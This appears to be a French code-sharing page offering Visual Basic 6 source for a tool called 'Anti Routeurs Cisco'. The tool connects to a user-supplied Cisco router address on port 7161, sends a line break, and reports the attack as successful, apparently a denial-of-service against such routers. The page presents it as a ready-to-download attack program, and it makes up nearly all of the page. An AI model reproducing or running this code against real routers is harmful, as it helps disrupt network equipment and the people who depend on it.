Soyez le premier à donner votre avis sur cette source.
Vue 6 419 fois - Téléchargée 482 fois
'||||||||||||||||||||| '|| Créé par || '|| MaxSECURITE || '||||||||||||||||||||| Private Sub Form_Load() attention.Caption = "il est possible, que l'attaque ne fonctionne pas tous dépend du routeur." Me.Caption = "Anti Routeurs Cisco" demandeadresse.Caption = "Routeur Cisco ® : " serveurcisco.Text = "" hack.Enabled = True hack.Caption = "Cliquez ici" End Sub Private Sub verification_Timer() If serveurcisco.Text = "" Then hack.Enabled = False End If End Sub Private Sub hack_Click() connexion.RemoteHost = serveurcisco connexion.RemotePort = "7161" connexion.Connect End Sub Private Sub connexion_Close() Me.Caption = "Anti Routeurs Cisco - Connexion terminé." End Sub Private Sub connexion_Connect() Me.Caption = "Anti Routeurs Cisco - Connexion en cours." End Sub Private Sub connexion_ConnectionRequest(ByVal requestID As Long) Me.Caption = "Anti Routeurs Cisco - Connexion réussi." connexion.SendData (vbCrLf) End Sub Private Sub connexion_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Me.Caption = "Anti Routeurs Cisco - ERREUR !!" connexion.Close End Sub Private Sub connexion_SendComplete() Me.Caption = "Anti Routeurs Cisco - Attaque réussi." connexion.Close End Sub Private Sub connexion_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long) Me.Caption = "Anti Routeurs Cisco - Attaque en cours." End Sub
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.